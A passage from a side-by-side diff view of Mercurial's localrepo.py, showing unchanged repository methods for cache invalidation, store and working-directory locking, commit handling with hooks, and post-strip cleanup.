2842 | except AttributeError: | |
2843 | pass |
|
2843 | pass | |
2844 | delattr(self.unfiltered(), 'dirstate') |
|
2844 | delattr(self.unfiltered(), 'dirstate') | |
2845 |
|
2845 | |||
2846 | def invalidate(self, clearfilecache=False): |
|
2846 | def invalidate(self, clearfilecache=False): | |
2847 | """Invalidates both store and non-store parts other than dirstate |
|
2847 | """Invalidates both store and non-store parts other than dirstate | |
2848 |
|
2848 | |||
2849 | If a transaction is running, invalidation of store is omitted, |
|
2849 | If a transaction is running, invalidation of store is omitted, | |
2850 | because discarding in-memory changes might cause inconsistency |
|
2850 | because discarding in-memory changes might cause inconsistency | |
2851 | (e.g. incomplete fncache causes unintentional failure, but |
|
2851 | (e.g. incomplete fncache causes unintentional failure, but | |
2852 | redundant one doesn't). |
|
2852 | redundant one doesn't). | |
2853 | """ |
|
2853 | """ | |
2854 | unfiltered = self.unfiltered() # all file caches are stored unfiltered |
|
2854 | unfiltered = self.unfiltered() # all file caches are stored unfiltered | |
2855 | for k in list(self._filecache.keys()): |
|
2855 | for k in list(self._filecache.keys()): | |
2856 | # dirstate is invalidated separately in invalidatedirstate() |
|
2856 | # dirstate is invalidated separately in invalidatedirstate() | |
2857 | if k == b'dirstate': |
|
2857 | if k == b'dirstate': | |
2858 | continue |
|
2858 | continue | |
2859 | if ( |
|
2859 | if ( | |
2860 | k == b'changelog' |
|
2860 | k == b'changelog' | |
2861 | and self.currenttransaction() |
|
2861 | and self.currenttransaction() | |
2862 | and self.changelog._delayed |
|
2862 | and self.changelog._delayed | |
2863 | ): |
|
2863 | ): | |
2864 | # The changelog object may store unwritten revisions. We don't |
|
2864 | # The changelog object may store unwritten revisions. We don't | |
2865 | # want to lose them. |
|
2865 | # want to lose them. | |
2866 | # TODO: Solve the problem instead of working around it. |
|
2866 | # TODO: Solve the problem instead of working around it. | |
2867 | continue |
|
2867 | continue | |
2868 |
|
2868 | |||
2869 | if clearfilecache: |
|
2869 | if clearfilecache: | |
2870 | del self._filecache[k] |
|
2870 | del self._filecache[k] | |
2871 | try: |
|
2871 | try: | |
2872 | delattr(unfiltered, k) |
|
2872 | delattr(unfiltered, k) | |
2873 | except AttributeError: |
|
2873 | except AttributeError: | |
2874 | pass |
|
2874 | pass | |
2875 | self.invalidatecaches() |
|
2875 | self.invalidatecaches() | |
2876 | if not self.currenttransaction(): |
|
2876 | if not self.currenttransaction(): | |
2877 | # TODO: Changing contents of store outside transaction |
|
2877 | # TODO: Changing contents of store outside transaction | |
2878 | # causes inconsistency. We should make in-memory store |
|
2878 | # causes inconsistency. We should make in-memory store | |
2879 | # changes detectable, and abort if changed. |
|
2879 | # changes detectable, and abort if changed. | |
2880 | self.store.invalidatecaches() |
|
2880 | self.store.invalidatecaches() | |
2881 |
|
2881 | |||
2882 | def invalidateall(self): |
|
2882 | def invalidateall(self): | |
2883 | """Fully invalidates both store and non-store parts, causing the |
|
2883 | """Fully invalidates both store and non-store parts, causing the | |
2884 | subsequent operation to reread any outside changes.""" |
|
2884 | subsequent operation to reread any outside changes.""" | |
2885 | # extension should hook this to invalidate its caches |
|
2885 | # extension should hook this to invalidate its caches | |
2886 | self.invalidate() |
|
2886 | self.invalidate() | |
2887 | self.invalidatedirstate() |
|
2887 | self.invalidatedirstate() | |
2888 |
|
2888 | |||
2889 | @unfilteredmethod |
|
2889 | @unfilteredmethod | |
2890 | def _refreshfilecachestats(self, tr): |
|
2890 | def _refreshfilecachestats(self, tr): | |
2891 | """Reload stats of cached files so that they are flagged as valid""" |
|
2891 | """Reload stats of cached files so that they are flagged as valid""" | |
2892 | for k, ce in self._filecache.items(): |
|
2892 | for k, ce in self._filecache.items(): | |
2893 | k = pycompat.sysstr(k) |
|
2893 | k = pycompat.sysstr(k) | |
2894 | if k == 'dirstate' or k not in self.__dict__: |
|
2894 | if k == 'dirstate' or k not in self.__dict__: | |
2895 | continue |
|
2895 | continue | |
2896 | ce.refresh() |
|
2896 | ce.refresh() | |
2897 |
|
2897 | |||
2898 | def _lock( |
|
2898 | def _lock( | |
2899 | self, |
|
2899 | self, | |
2900 | vfs, |
|
2900 | vfs, | |
2901 | lockname, |
|
2901 | lockname, | |
2902 | wait, |
|
2902 | wait, | |
2903 | releasefn, |
|
2903 | releasefn, | |
2904 | acquirefn, |
|
2904 | acquirefn, | |
2905 | desc, |
|
2905 | desc, | |
2906 | ): |
|
2906 | ): | |
2907 | timeout = 0 |
|
2907 | timeout = 0 | |
2908 | warntimeout = 0 |
|
2908 | warntimeout = 0 | |
2909 | if wait: |
|
2909 | if wait: | |
2910 | timeout = self.ui.configint(b"ui", b"timeout") |
|
2910 | timeout = self.ui.configint(b"ui", b"timeout") | |
2911 | warntimeout = self.ui.configint(b"ui", b"timeout.warn") |
|
2911 | warntimeout = self.ui.configint(b"ui", b"timeout.warn") | |
2912 | # internal config: ui.signal-safe-lock |
|
2912 | # internal config: ui.signal-safe-lock | |
2913 | signalsafe = self.ui.configbool(b'ui', b'signal-safe-lock') |
|
2913 | signalsafe = self.ui.configbool(b'ui', b'signal-safe-lock') | |
2914 |
|
2914 | |||
2915 | l = lockmod.trylock( |
|
2915 | l = lockmod.trylock( | |
2916 | self.ui, |
|
2916 | self.ui, | |
2917 | vfs, |
|
2917 | vfs, | |
2918 | lockname, |
|
2918 | lockname, | |
2919 | timeout, |
|
2919 | timeout, | |
2920 | warntimeout, |
|
2920 | warntimeout, | |
2921 | releasefn=releasefn, |
|
2921 | releasefn=releasefn, | |
2922 | acquirefn=acquirefn, |
|
2922 | acquirefn=acquirefn, | |
2923 | desc=desc, |
|
2923 | desc=desc, | |
2924 | signalsafe=signalsafe, |
|
2924 | signalsafe=signalsafe, | |
2925 | ) |
|
2925 | ) | |
2926 | return l |
|
2926 | return l | |
2927 |
|
2927 | |||
2928 | def _afterlock(self, callback): |
|
2928 | def _afterlock(self, callback): | |
2929 | """add a callback to be run when the repository is fully unlocked |
|
2929 | """add a callback to be run when the repository is fully unlocked | |
2930 |
|
2930 | |||
2931 | The callback will be executed when the outermost lock is released |
|
2931 | The callback will be executed when the outermost lock is released | |
2932 | (with wlock being higher level than 'lock').""" |
|
2932 | (with wlock being higher level than 'lock').""" | |
2933 | for ref in (self._wlockref, self._lockref): |
|
2933 | for ref in (self._wlockref, self._lockref): | |
2934 | l = ref and ref() |
|
2934 | l = ref and ref() | |
2935 | if l and l.held: |
|
2935 | if l and l.held: | |
2936 | l.postrelease.append(callback) |
|
2936 | l.postrelease.append(callback) | |
2937 | break |
|
2937 | break | |
2938 | else: # no lock have been found. |
|
2938 | else: # no lock have been found. | |
2939 | callback(True) |
|
2939 | callback(True) | |
2940 |
|
2940 | |||
2941 | def lock(self, wait=True): |
|
2941 | def lock(self, wait=True): | |
2942 | """Lock the repository store (.hg/store) and return a weak reference |
|
2942 | """Lock the repository store (.hg/store) and return a weak reference | |
2943 | to the lock. Use this before modifying the store (e.g. committing or |
|
2943 | to the lock. Use this before modifying the store (e.g. committing or | |
2944 | stripping). If you are opening a transaction, get a lock as well.) |
|
2944 | stripping). If you are opening a transaction, get a lock as well.) | |
2945 |
|
2945 | |||
2946 | If both 'lock' and 'wlock' must be acquired, ensure you always acquires |
|
2946 | If both 'lock' and 'wlock' must be acquired, ensure you always acquires | |
2947 | 'wlock' first to avoid a dead-lock hazard.""" |
|
2947 | 'wlock' first to avoid a dead-lock hazard.""" | |
2948 | l = self._currentlock(self._lockref) |
|
2948 | l = self._currentlock(self._lockref) | |
2949 | if l is not None: |
|
2949 | if l is not None: | |
2950 | l.lock() |
|
2950 | l.lock() | |
2951 | return l |
|
2951 | return l | |
2952 |
|
2952 | |||
2953 | l = self._lock( |
|
2953 | l = self._lock( | |
2954 | vfs=self.svfs, |
|
2954 | vfs=self.svfs, | |
2955 | lockname=b"lock", |
|
2955 | lockname=b"lock", | |
2956 | wait=wait, |
|
2956 | wait=wait, | |
2957 | releasefn=None, |
|
2957 | releasefn=None, | |
2958 | acquirefn=self.invalidate, |
|
2958 | acquirefn=self.invalidate, | |
2959 | desc=_(b'repository %s') % self.origroot, |
|
2959 | desc=_(b'repository %s') % self.origroot, | |
2960 | ) |
|
2960 | ) | |
2961 | self._lockref = weakref.ref(l) |
|
2961 | self._lockref = weakref.ref(l) | |
2962 | return l |
|
2962 | return l | |
2963 |
|
2963 | |||
2964 | def wlock(self, wait=True): |
|
2964 | def wlock(self, wait=True): | |
2965 | """Lock the non-store parts of the repository (everything under |
|
2965 | """Lock the non-store parts of the repository (everything under | |
2966 | .hg except .hg/store) and return a weak reference to the lock. |
|
2966 | .hg except .hg/store) and return a weak reference to the lock. | |
2967 |
|
2967 | |||
2968 | Use this before modifying files in .hg. |
|
2968 | Use this before modifying files in .hg. | |
2969 |
|
2969 | |||
2970 | If both 'lock' and 'wlock' must be acquired, ensure you always acquires |
|
2970 | If both 'lock' and 'wlock' must be acquired, ensure you always acquires | |
2971 | 'wlock' first to avoid a dead-lock hazard.""" |
|
2971 | 'wlock' first to avoid a dead-lock hazard.""" | |
2972 | l = self._wlockref() if self._wlockref else None |
|
2972 | l = self._wlockref() if self._wlockref else None | |
2973 | if l is not None and l.held: |
|
2973 | if l is not None and l.held: | |
2974 | l.lock() |
|
2974 | l.lock() | |
2975 | return l |
|
2975 | return l | |
2976 |
|
2976 | |||
2977 | # We do not need to check for non-waiting lock acquisition. Such |
|
2977 | # We do not need to check for non-waiting lock acquisition. Such | |
2978 | # acquisition would not cause dead-lock as they would just fail. |
|
2978 | # acquisition would not cause dead-lock as they would just fail. | |
2979 | if wait and ( |
|
2979 | if wait and ( | |
2980 | self.ui.configbool(b'devel', b'all-warnings') |
|
2980 | self.ui.configbool(b'devel', b'all-warnings') | |
2981 | or self.ui.configbool(b'devel', b'check-locks') |
|
2981 | or self.ui.configbool(b'devel', b'check-locks') | |
2982 | ): |
|
2982 | ): | |
2983 | if self._currentlock(self._lockref) is not None: |
|
2983 | if self._currentlock(self._lockref) is not None: | |
2984 | self.ui.develwarn(b'"wlock" acquired after "lock"') |
|
2984 | self.ui.develwarn(b'"wlock" acquired after "lock"') | |
2985 |
|
2985 | |||
2986 | def unlock(): |
|
2986 | def unlock(): | |
2987 | if self.dirstate.pendingparentchange(): |
|
2987 | if self.dirstate.pendingparentchange(): | |
2988 | self.dirstate.invalidate() |
|
2988 | self.dirstate.invalidate() | |
2989 | else: |
|
2989 | else: | |
2990 | self.dirstate.write(None) |
|
2990 | self.dirstate.write(None) | |
2991 |
|
2991 | |||
2992 | self._filecache[b'dirstate'].refresh() |
|
2992 | self._filecache[b'dirstate'].refresh() | |
2993 |
|
2993 | |||
2994 | l = self._lock( |
|
2994 | l = self._lock( | |
2995 | self.vfs, |
|
2995 | self.vfs, | |
2996 | b"wlock", |
|
2996 | b"wlock", | |
2997 | wait, |
|
2997 | wait, | |
2998 | unlock, |
|
2998 | unlock, | |
2999 | self.invalidatedirstate, |
|
2999 | self.invalidatedirstate, | |
3000 | _(b'working directory of %s') % self.origroot, |
|
3000 | _(b'working directory of %s') % self.origroot, | |
3001 | ) |
|
3001 | ) | |
3002 | self._wlockref = weakref.ref(l) |
|
3002 | self._wlockref = weakref.ref(l) | |
3003 | return l |
|
3003 | return l | |
3004 |
|
3004 | |||
3005 | def _currentlock(self, lockref): |
|
3005 | def _currentlock(self, lockref): | |
3006 | """Returns the lock if it's held, or None if it's not.""" |
|
3006 | """Returns the lock if it's held, or None if it's not.""" | |
3007 | if lockref is None: |
|
3007 | if lockref is None: | |
3008 | return None |
|
3008 | return None | |
3009 | l = lockref() |
|
3009 | l = lockref() | |
3010 | if l is None or not l.held: |
|
3010 | if l is None or not l.held: | |
3011 | return None |
|
3011 | return None | |
3012 | return l |
|
3012 | return l | |
3013 |
|
3013 | |||
3014 | def currentwlock(self): |
|
3014 | def currentwlock(self): | |
3015 | """Returns the wlock if it's held, or None if it's not.""" |
|
3015 | """Returns the wlock if it's held, or None if it's not.""" | |
3016 | return self._currentlock(self._wlockref) |
|
3016 | return self._currentlock(self._wlockref) | |
3017 |
|
3017 | |||
3018 | def checkcommitpatterns(self, wctx, match, status, fail): |
|
3018 | def checkcommitpatterns(self, wctx, match, status, fail): | |
3019 | """check for commit arguments that aren't committable""" |
|
3019 | """check for commit arguments that aren't committable""" | |
3020 | if match.isexact() or match.prefix(): |
|
3020 | if match.isexact() or match.prefix(): | |
3021 | matched = set(status.modified + status.added + status.removed) |
|
3021 | matched = set(status.modified + status.added + status.removed) | |
3022 |
|
3022 | |||
3023 | for f in match.files(): |
|
3023 | for f in match.files(): | |
3024 | f = self.dirstate.normalize(f) |
|
3024 | f = self.dirstate.normalize(f) | |
3025 | if f == b'.' or f in matched or f in wctx.substate: |
|
3025 | if f == b'.' or f in matched or f in wctx.substate: | |
3026 | continue |
|
3026 | continue | |
3027 | if f in status.deleted: |
|
3027 | if f in status.deleted: | |
3028 | fail(f, _(b'file not found!')) |
|
3028 | fail(f, _(b'file not found!')) | |
3029 | # Is it a directory that exists or used to exist? |
|
3029 | # Is it a directory that exists or used to exist? | |
3030 | if self.wvfs.isdir(f) or wctx.p1().hasdir(f): |
|
3030 | if self.wvfs.isdir(f) or wctx.p1().hasdir(f): | |
3031 | d = f + b'/' |
|
3031 | d = f + b'/' | |
3032 | for mf in matched: |
|
3032 | for mf in matched: | |
3033 | if mf.startswith(d): |
|
3033 | if mf.startswith(d): | |
3034 | break |
|
3034 | break | |
3035 | else: |
|
3035 | else: | |
3036 | fail(f, _(b"no match under directory!")) |
|
3036 | fail(f, _(b"no match under directory!")) | |
3037 | elif f not in self.dirstate: |
|
3037 | elif f not in self.dirstate: | |
3038 | fail(f, _(b"file not tracked!")) |
|
3038 | fail(f, _(b"file not tracked!")) | |
3039 |
|
3039 | |||
3040 | @unfilteredmethod |
|
3040 | @unfilteredmethod | |
3041 | def commit( |
|
3041 | def commit( | |
3042 | self, |
|
3042 | self, | |
3043 | text=b"", |
|
3043 | text=b"", | |
3044 | user=None, |
|
3044 | user=None, | |
3045 | date=None, |
|
3045 | date=None, | |
3046 | match=None, |
|
3046 | match=None, | |
3047 | force=False, |
|
3047 | force=False, | |
3048 | editor=None, |
|
3048 | editor=None, | |
3049 | extra=None, |
|
3049 | extra=None, | |
3050 | ): |
|
3050 | ): | |
3051 | """Add a new revision to current repository. |
|
3051 | """Add a new revision to current repository. | |
3052 |
|
3052 | |||
3053 | Revision information is gathered from the working directory, |
|
3053 | Revision information is gathered from the working directory, | |
3054 | match can be used to filter the committed files. If editor is |
|
3054 | match can be used to filter the committed files. If editor is | |
3055 | supplied, it is called to get a commit message. |
|
3055 | supplied, it is called to get a commit message. | |
3056 | """ |
|
3056 | """ | |
3057 | if extra is None: |
|
3057 | if extra is None: | |
3058 | extra = {} |
|
3058 | extra = {} | |
3059 |
|
3059 | |||
3060 | def fail(f, msg): |
|
3060 | def fail(f, msg): | |
3061 | raise error.InputError(b'%s: %s' % (f, msg)) |
|
3061 | raise error.InputError(b'%s: %s' % (f, msg)) | |
3062 |
|
3062 | |||
3063 | if not match: |
|
3063 | if not match: | |
3064 | match = matchmod.always() |
|
3064 | match = matchmod.always() | |
3065 |
|
3065 | |||
3066 | if not force: |
|
3066 | if not force: | |
3067 | match.bad = fail |
|
3067 | match.bad = fail | |
3068 |
|
3068 | |||
3069 | # lock() for recent changelog (see issue4368) |
|
3069 | # lock() for recent changelog (see issue4368) | |
3070 | with self.wlock(), self.lock(): |
|
3070 | with self.wlock(), self.lock(): | |
3071 | wctx = self[None] |
|
3071 | wctx = self[None] | |
3072 | merge = len(wctx.parents()) > 1 |
|
3072 | merge = len(wctx.parents()) > 1 | |
3073 |
|
3073 | |||
3074 | if not force and merge and not match.always(): |
|
3074 | if not force and merge and not match.always(): | |
3075 | raise error.Abort( |
|
3075 | raise error.Abort( | |
3076 | _( |
|
3076 | _( | |
3077 | b'cannot partially commit a merge ' |
|
3077 | b'cannot partially commit a merge ' | |
3078 | b'(do not specify files or patterns)' |
|
3078 | b'(do not specify files or patterns)' | |
3079 | ) |
|
3079 | ) | |
3080 | ) |
|
3080 | ) | |
3081 |
|
3081 | |||
3082 | status = self.status(match=match, clean=force) |
|
3082 | status = self.status(match=match, clean=force) | |
3083 | if force: |
|
3083 | if force: | |
3084 | status.modified.extend( |
|
3084 | status.modified.extend( | |
3085 | status.clean |
|
3085 | status.clean | |
3086 | ) # mq may commit clean files |
|
3086 | ) # mq may commit clean files | |
3087 |
|
3087 | |||
3088 | # check subrepos |
|
3088 | # check subrepos | |
3089 | subs, commitsubs, newstate = subrepoutil.precommit( |
|
3089 | subs, commitsubs, newstate = subrepoutil.precommit( | |
3090 | self.ui, wctx, status, match, force=force |
|
3090 | self.ui, wctx, status, match, force=force | |
3091 | ) |
|
3091 | ) | |
3092 |
|
3092 | |||
3093 | # make sure all explicit patterns are matched |
|
3093 | # make sure all explicit patterns are matched | |
3094 | if not force: |
|
3094 | if not force: | |
3095 | self.checkcommitpatterns(wctx, match, status, fail) |
|
3095 | self.checkcommitpatterns(wctx, match, status, fail) | |
3096 |
|
3096 | |||
3097 | cctx = context.workingcommitctx( |
|
3097 | cctx = context.workingcommitctx( | |
3098 | self, status, text, user, date, extra |
|
3098 | self, status, text, user, date, extra | |
3099 | ) |
|
3099 | ) | |
3100 |
|
3100 | |||
3101 | ms = mergestatemod.mergestate.read(self) |
|
3101 | ms = mergestatemod.mergestate.read(self) | |
3102 | mergeutil.checkunresolved(ms) |
|
3102 | mergeutil.checkunresolved(ms) | |
3103 |
|
3103 | |||
3104 | # internal config: ui.allowemptycommit |
|
3104 | # internal config: ui.allowemptycommit | |
3105 | if cctx.isempty() and not self.ui.configbool( |
|
3105 | if cctx.isempty() and not self.ui.configbool( | |
3106 | b'ui', b'allowemptycommit' |
|
3106 | b'ui', b'allowemptycommit' | |
3107 | ): |
|
3107 | ): | |
3108 | self.ui.debug(b'nothing to commit, clearing merge state\n') |
|
3108 | self.ui.debug(b'nothing to commit, clearing merge state\n') | |
3109 | ms.reset() |
|
3109 | ms.reset() | |
3110 | return None |
|
3110 | return None | |
3111 |
|
3111 | |||
3112 | if merge and cctx.deleted(): |
|
3112 | if merge and cctx.deleted(): | |
3113 | raise error.Abort(_(b"cannot commit merge with missing files")) |
|
3113 | raise error.Abort(_(b"cannot commit merge with missing files")) | |
3114 |
|
3114 | |||
3115 | if editor: |
|
3115 | if editor: | |
3116 | cctx._text = editor(self, cctx, subs) |
|
3116 | cctx._text = editor(self, cctx, subs) | |
3117 | edited = text != cctx._text |
|
3117 | edited = text != cctx._text | |
3118 |
|
3118 | |||
3119 | # Save commit message in case this transaction gets rolled back |
|
3119 | # Save commit message in case this transaction gets rolled back | |
3120 | # (e.g. by a pretxncommit hook). Leave the content alone on |
|
3120 | # (e.g. by a pretxncommit hook). Leave the content alone on | |
3121 | # the assumption that the user will use the same editor again. |
|
3121 | # the assumption that the user will use the same editor again. | |
3122 | msgfn = self.savecommitmessage(cctx._text) |
|
3122 | msgfn = self.savecommitmessage(cctx._text) | |
3123 |
|
3123 | |||
3124 | # commit subs and write new state |
|
3124 | # commit subs and write new state | |
3125 | if subs: |
|
3125 | if subs: | |
3126 | uipathfn = scmutil.getuipathfn(self) |
|
3126 | uipathfn = scmutil.getuipathfn(self) | |
3127 | for s in sorted(commitsubs): |
|
3127 | for s in sorted(commitsubs): | |
3128 | sub = wctx.sub(s) |
|
3128 | sub = wctx.sub(s) | |
3129 | self.ui.status( |
|
3129 | self.ui.status( | |
3130 | _(b'committing subrepository %s\n') |
|
3130 | _(b'committing subrepository %s\n') | |
3131 | % uipathfn(subrepoutil.subrelpath(sub)) |
|
3131 | % uipathfn(subrepoutil.subrelpath(sub)) | |
3132 | ) |
|
3132 | ) | |
3133 | sr = sub.commit(cctx._text, user, date) |
|
3133 | sr = sub.commit(cctx._text, user, date) | |
3134 | newstate[s] = (newstate[s][0], sr) |
|
3134 | newstate[s] = (newstate[s][0], sr) | |
3135 | subrepoutil.writestate(self, newstate) |
|
3135 | subrepoutil.writestate(self, newstate) | |
3136 |
|
3136 | |||
3137 | p1, p2 = self.dirstate.parents() |
|
3137 | p1, p2 = self.dirstate.parents() | |
3138 | hookp1, hookp2 = hex(p1), (p2 != self.nullid and hex(p2) or b'') |
|
3138 | hookp1, hookp2 = hex(p1), (p2 != self.nullid and hex(p2) or b'') | |
3139 | try: |
|
3139 | try: | |
3140 | self.hook( |
|
3140 | self.hook( | |
3141 | b"precommit", throw=True, parent1=hookp1, parent2=hookp2 |
|
3141 | b"precommit", throw=True, parent1=hookp1, parent2=hookp2 | |
3142 | ) |
|
3142 | ) | |
3143 | with self.transaction(b'commit'): |
|
3143 | with self.transaction(b'commit'): | |
3144 | ret = self.commitctx(cctx, True) |
|
3144 | ret = self.commitctx(cctx, True) | |
3145 | # update bookmarks, dirstate and mergestate |
|
3145 | # update bookmarks, dirstate and mergestate | |
3146 | bookmarks.update(self, [p1, p2], ret) |
|
3146 | bookmarks.update(self, [p1, p2], ret) | |
3147 | cctx.markcommitted(ret) |
|
3147 | cctx.markcommitted(ret) | |
3148 | ms.reset() |
|
3148 | ms.reset() | |
3149 | except: # re-raises |
|
3149 | except: # re-raises | |
3150 | if edited: |
|
3150 | if edited: | |
3151 | self.ui.write( |
|
3151 | self.ui.write( | |
3152 | _(b'note: commit message saved in %s\n') % msgfn |
|
3152 | _(b'note: commit message saved in %s\n') % msgfn | |
3153 | ) |
|
3153 | ) | |
3154 | self.ui.write( |
|
3154 | self.ui.write( | |
3155 | _( |
|
3155 | _( | |
3156 | b"note: use 'hg commit --logfile " |
|
3156 | b"note: use 'hg commit --logfile " | |
3157 | b".hg/last-message.txt --edit' to reuse it\n" |
|
3157 | b".hg/last-message.txt --edit' to reuse it\n" | |
3158 | ) |
|
3158 | ) | |
3159 | ) |
|
3159 | ) | |
3160 | raise |
|
3160 | raise | |
3161 |
|
3161 | |||
3162 | def commithook(unused_success): |
|
3162 | def commithook(unused_success): | |
3163 | # hack for command that use a temporary commit (eg: histedit) |
|
3163 | # hack for command that use a temporary commit (eg: histedit) | |
3164 | # temporary commit got stripped before hook release |
|
3164 | # temporary commit got stripped before hook release | |
3165 | if self.changelog.hasnode(ret): |
|
3165 | if self.changelog.hasnode(ret): | |
3166 | self.hook( |
|
3166 | self.hook( | |
3167 | b"commit", node=hex(ret), parent1=hookp1, parent2=hookp2 |
|
3167 | b"commit", node=hex(ret), parent1=hookp1, parent2=hookp2 | |
3168 | ) |
|
3168 | ) | |
3169 |
|
3169 | |||
3170 | self._afterlock(commithook) |
|
3170 | self._afterlock(commithook) | |
3171 | return ret |
|
3171 | return ret | |
3172 |
|
3172 | |||
3173 | @unfilteredmethod |
|
3173 | @unfilteredmethod | |
3174 | def commitctx(self, ctx, error=False, origctx=None): |
|
3174 | def commitctx(self, ctx, error=False, origctx=None): | |
3175 | return commit.commitctx(self, ctx, error=error, origctx=origctx) |
|
3175 | return commit.commitctx(self, ctx, error=error, origctx=origctx) | |
3176 |
|
3176 | |||
3177 | @unfilteredmethod |
|
3177 | @unfilteredmethod | |
3178 | def destroying(self): |
|
3178 | def destroying(self): | |
3179 | """Inform the repository that nodes are about to be destroyed. |
|
3179 | """Inform the repository that nodes are about to be destroyed. | |
3180 | Intended for use by strip and rollback, so there's a common |
|
3180 | Intended for use by strip and rollback, so there's a common | |
3181 | place for anything that has to be done before destroying history. |
|
3181 | place for anything that has to be done before destroying history. | |
3182 |
|
3182 | |||
3183 | This is mostly useful for saving state that is in memory and waiting |
|
3183 | This is mostly useful for saving state that is in memory and waiting | |
3184 | to be flushed when the current lock is released. Because a call to |
|
3184 | to be flushed when the current lock is released. Because a call to | |
3185 | destroyed is imminent, the repo will be invalidated causing those |
|
3185 | destroyed is imminent, the repo will be invalidated causing those | |
3186 | changes to stay in memory (waiting for the next unlock), or vanish |
|
3186 | changes to stay in memory (waiting for the next unlock), or vanish | |
3187 | completely. |
|
3187 | completely. | |
3188 | """ |
|
3188 | """ | |
3189 | # When using the same lock to commit and strip, the phasecache is left |
|
3189 | # When using the same lock to commit and strip, the phasecache is left | |
3190 | # dirty after committing. Then when we strip, the repo is invalidated, |
|
3190 | # dirty after committing. Then when we strip, the repo is invalidated, | |
3191 | # causing those changes to disappear. |
|
3191 | # causing those changes to disappear. | |
3192 | if '_phasecache' in vars(self): |
|
3192 | if '_phasecache' in vars(self): | |
3193 | self._phasecache.write() |
|
3193 | self._phasecache.write() | |
3194 |
|
3194 | |||
3195 | @unfilteredmethod |
|
3195 | @unfilteredmethod | |
3196 | def destroyed(self): |
|
3196 | def destroyed(self): | |
3197 | """Inform the repository that nodes have been destroyed. |
|
3197 | """Inform the repository that nodes have been destroyed. | |
3198 | Intended for use by strip and rollback, so there's a common |
|
3198 | Intended for use by strip and rollback, so there's a common | |
3199 | place for anything that has to be done after destroying history. |
|
3199 | place for anything that has to be done after destroying history. | |
3200 | """ |
|
3200 | """ | |
3201 | # When one tries to: |
|
3201 | # When one tries to: | |
3202 | # 1) destroy nodes thus calling this method (e.g. strip) |
|
3202 | # 1) destroy nodes thus calling this method (e.g. strip) | |
3203 | # 2) use phasecache somewhere (e.g. commit) |
|
3203 | # 2) use phasecache somewhere (e.g. commit) | |
3204 | # |
|
3204 | # | |
3205 | # then 2) will fail because the phasecache contains nodes that were |
|
3205 | # then 2) will fail because the phasecache contains nodes that were | |
3206 | # removed. We can either remove phasecache from the filecache, |
|
3206 | # removed. We can either remove phasecache from the filecache, | |
3207 | # causing it to reload next time it is accessed, or simply filter |
|
3207 | # causing it to reload next time it is accessed, or simply filter | |
3208 | # the removed nodes now and write the updated cache. |
|
3208 | # the removed nodes now and write the updated cache. | |
3209 | self._phasecache.filterunknown(self) |
|
3209 | self._phasecache.filterunknown(self) | |
3210 | self._phasecache.write() |
|
3210 | self._phasecache.write() | |
3211 |
|
3211 | |||
3212 | # refresh all repository caches |
|
3212 | # refresh all repository caches | |
3213 | self.updatecaches() |
|
3213 | self.updatecaches() | |
3214 |
|
3214 | |||
3215 | # Ensure the persistent tag cache is updated. Doing it now |
|
3215 | # Ensure the persistent tag cache is updated. Doing it now | |
3216 | # means that the tag cache only has to worry about destroyed |
|
3216 | # means that the tag cache only has to worry about destroyed | |
3217 | # heads immediately after a strip/rollback. That in turn |
|
3217 | # heads immediately after a strip/rollback. That in turn | |
3218 | # guarantees that "cachetip == currenttip" (comparing both rev |
|
3218 | # guarantees that "cachetip == currenttip" (comparing both rev | |
3219 | # and node) always means no nodes have been added or destroyed. |
|
3219 | # and node) always means no nodes have been added or destroyed. | |
3220 |
|
3220 | |||
3221 | # XXX this is suboptimal when qrefresh'ing: we strip the current |
|
3221 | # XXX this is suboptimal when qrefresh'ing: we strip the current | |
3222 | # head, refresh the tag cache, then immediately add a new head. |
|
3222 | # head, refresh the tag cache, then immediately add a new head. | |
3223 | # But I think doing it this way is necessary for the "instant |
|
3223 | # But I think doing it this way is necessary for the "instant | |
3224 | # tag cache retrieval" case to work. |
|
3224 | # tag cache retrieval" case to work. | |
3225 | self.invalidate() |
|
3225 | self.invalidate() | |
3226 |
|
3226 | |||
3227 | def status( |
|
3227 | def status( | |
3228 | self, |
|
3228 | self, | |
3229 | node1=b'.', |
|
3229 | node1=b'.', | |
3230 | node2=None, |
|
3230 | node2=None, | |
3231 | match=None, |
|
3231 | match=None, | |
3232 | ignored=False, |
|
3232 | ignored=False, | |
3233 | clean=False, |
|
3233 | clean=False, | |
3234 | unknown=False, |
|
3234 | unknown=False, | |
3235 | listsubrepos=False, |
|
3235 | listsubrepos=False, | |
3236 | ): |
|
3236 | ): | |
3237 | '''a convenience method that calls node1.status(node2)''' |
|
3237 | '''a convenience method that calls node1.status(node2)''' | |
3238 | return self[node1].status( |
|
3238 | return self[node1].status( | |
3239 | node2, match, ignored, clean, unknown, listsubrepos |
|
3239 | node2, match, ignored, clean, unknown, listsubrepos | |
3240 | ) |
|
3240 | ) | |
3241 |
|
3241 | |||
3242 | def addpostdsstatus(self, ps): |
|
3242 | def addpostdsstatus(self, ps): | |
3243 | """Add a callback to run within the wlock, at the point at which status |
|
3243 | """Add a callback to run within the wlock, at the point at which status | |
3244 | fixups happen. |
|
3244 | fixups happen. | |
3245 |
|
3245 | |||
3246 | On status completion, callback(wctx, status) will be called with the |
|
3246 | On status completion, callback(wctx, status) will be called with the | |
3247 | wlock held, unless the dirstate has changed from underneath or the wlock |
|
3247 | wlock held, unless the dirstate has changed from underneath or the wlock | |
3248 | couldn't be grabbed. |
|
3248 | couldn't be grabbed. | |
3249 |
|
3249 | |||
3250 | Callbacks should not capture and use a cached copy of the dirstate -- |
|
3250 | Callbacks should not capture and use a cached copy of the dirstate -- | |
3251 | it might change in the meanwhile. Instead, they should access the |
|
3251 | it might change in the meanwhile. Instead, they should access the | |
3252 | dirstate via wctx.repo().dirstate. |
|
3252 | dirstate via wctx.repo().dirstate. | |
3253 |
|
3253 | |||
3254 | This list is emptied out after each status run -- extensions should |
|
3254 | This list is emptied out after each status run -- extensions should | |
3255 | make sure it adds to this list each time dirstate.status is called. |
|
3255 | make sure it adds to this list each time dirstate.status is called. | |
3256 | Extensions should also make sure they don't call this for statuses |
|
3256 | Extensions should also make sure they don't call this for statuses | |
3257 | that don't involve the dirstate. |
|
3257 | that don't involve the dirstate. | |
3258 | """ |
|
3258 | """ | |
3259 |
|
3259 | |||
3260 | # The list is located here for uniqueness reasons -- it is actually |
|
3260 | # The list is located here for uniqueness reasons -- it is actually | |
3261 | # managed by the workingctx, but that isn't unique per-repo. |
|
3261 | # managed by the workingctx, but that isn't unique per-repo. | |
3262 | self._postdsstatus.append(ps) |
|
3262 | self._postdsstatus.append(ps) | |
3263 |
|
3263 | |||
